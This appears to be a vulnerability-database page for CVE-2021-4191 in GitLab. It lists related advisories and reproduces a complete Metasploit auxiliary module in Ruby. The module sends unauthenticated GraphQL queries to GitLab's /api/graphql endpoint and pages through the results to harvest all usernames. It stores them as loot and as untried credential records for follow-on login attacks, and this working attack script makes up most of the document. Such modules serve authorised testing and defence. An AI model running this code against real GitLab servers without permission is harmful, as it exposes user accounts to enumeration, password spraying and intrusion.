| Reporter | Title | Published | Views | Family All 35 |
|---|---|---|---|---|
| Gitlab -- multiple vulnerabilities | 25 Feb 202200:00 | – | freebsd | |
| Exploit for CVE-2021-4191 | 20 Aug 202414:39 | – | gitee | |
| Exploit for CVE-2021-4191 | 10 Oct 202501:53 | – | githubexploit | |
| CVE-2021-4191 | 4 Mar 202211:22 | – | circl | |
| GitLab Enterprise Edition和GitLab Community Edition 授权问题漏洞 | 28 Feb 202200:00 | – | cnnvd | |
| CVE-2021-4191 | 28 Mar 202218:53 | – | cve | |
| CVE-2021-4191 | 28 Mar 202218:53 | – | cvelist | |
| CVE-2021-4191 | 28 Mar 202218:53 | – | debiancve | |
| FreeBSD : Gitlab -- multiple vulnerabilities (2823048d-9f8f-11ec-8c9c-001b217b3468) | 10 Mar 202200:00 | – | nessus | |
| GitLab 13.0 < 14.6.5 / 14.7 < 14.7.4 / 14.8 < 14.8.2 (CVE-2021-4191) | 14 Mar 202200:00 | – | nessus |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitLab GraphQL API User Enumeration',
'Description' => %q{
This module queries the GitLab GraphQL API without authentication
to acquire the list of GitLab users (CVE-2021-4191). The module works
on all GitLab versions from 13.0 up to 14.8.2, 14.7.4, and 14.6.5.
},
'License' => MSF_LICENSE,
'Author' => [
'jbaines-r7', # Independent discovery and Metasploit module
'mungsul' # Independent discovery
],
'References' => [
[ 'CVE', '2021-4191' ],
[ 'URL', 'https://about.gitlab.com/releases/2022/02/25/critical-security-release-gitlab-14-8-2-released/#unauthenticated-user-enumeration-on-graphql-api'],
[ 'URL', 'https://www.rapid7.com/blog/post/2022/03/03/cve-2021-4191-gitlab-graphql-api-user-enumeration-fixed/']
],
'DisclosureDate' => '2022-02-25',
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
##
# Send the GraphQL query to the /api/graphql endpoint. Despite being able to
# extract significantly more information, this request will only request
# usernames. The function will do some verification to ensure the received
# payload is the expected JSON.
#
# @param after [String] The parameter is used for paging because GitLab will only
# return 100 results at a time. If no paging is needed this should be empty.
# @return [Hash] A Ruby Hash representation of the returned JSON data.
##
def do_request(after)
graphql_query = '{"query": "query { users'
unless after.empty?
graphql_query += "(after:\\\"#{after}\\\")"
end
graphql_query.concat(' { pageInfo { hasNextPage, hasPreviousPage, endCursor, startCursor }, nodes { username } } }" }')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/graphql'),
'ctype' => 'application/json',
'data' => graphql_query
})
fail_with(Failure::UnexpectedReply, "The target didn't respond with 200 OK") unless res&.code == 200
fail_with(Failure::UnexpectedReply, "The target didn't respond with an HTTP body") unless res.body
user_json = res.get_json_document
fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if user_json.nil?
nodes = user_json.dig('data', 'users', 'nodes')
fail_with(Failure::UnexpectedReply, 'Could not find nodes in the JSON body') if nodes.nil?
user_json
end
##
# Parses the JSON data returned by the server. Adds the usernames to
# the users array and adds them, indirectly, to create_credential_login.
# This function also determines if we need to request more data from
# the server.
#
# @param user_json [Hash] The JSON data provided by the server
# @param users [Array] An array to store new usernames in
# @return [String] An empty string or the "endCursor" to use with do_request
##
def parse_json(user_json, users)
nodes = user_json.dig('data', 'users', 'nodes')
return '' if nodes.nil?
nodes.each do |node|
username = node['username']
store_username(username, node)
users.push(username)
end
query_paging_info = ''
more_data = user_json.dig('data', 'users', 'pageInfo', 'hasNextPage')
if !more_data.nil? && more_data == true
query_paging_info = user_json['data']['users']['pageInfo']['endCursor']
end
query_paging_info
end
def store_userlist(users, service)
loot = store_loot('gitlab.users', 'text/plain', rhost, users, nil, 'GitLab Users', service)
print_good("Userlist stored at #{loot}")
end
def store_username(username, json)
connection_details = {
module_fullname: fullname,
workspace_id: myworkspace_id,
username: username,
proof: json,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential_and_login(connection_details)
end
##
# Send an initial GraphQL request to the server and keep sending
# requests until the server has no more data to give us.
##
def run_host(_ip)
user_json = do_request('')
service = report_service(
host: rhost,
port: rport,
name: (ssl ? 'https' : 'http'),
proto: 'tcp'
)
# parse the initial page
users = []
query_paging_info = parse_json(user_json, users)
# handle any follow on pages
request_count = 0
until query_paging_info.empty?
# periodically tell the user that we are still working. Start at 1 since one request already happened
request_count += 1
print_status("GraphQL API pagination request: #{request_count}") if request_count % 5 == 0
user_json = do_request(query_paging_info)
query_paging_info = parse_json(user_json, users)
end
if users.empty?
print_error('No GitLab users were enumerated.')
else
print_good("Enumerated #{users.length} GitLab users")
users_string = users.join("\n") + "\n"
store_userlist(users_string, service)
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation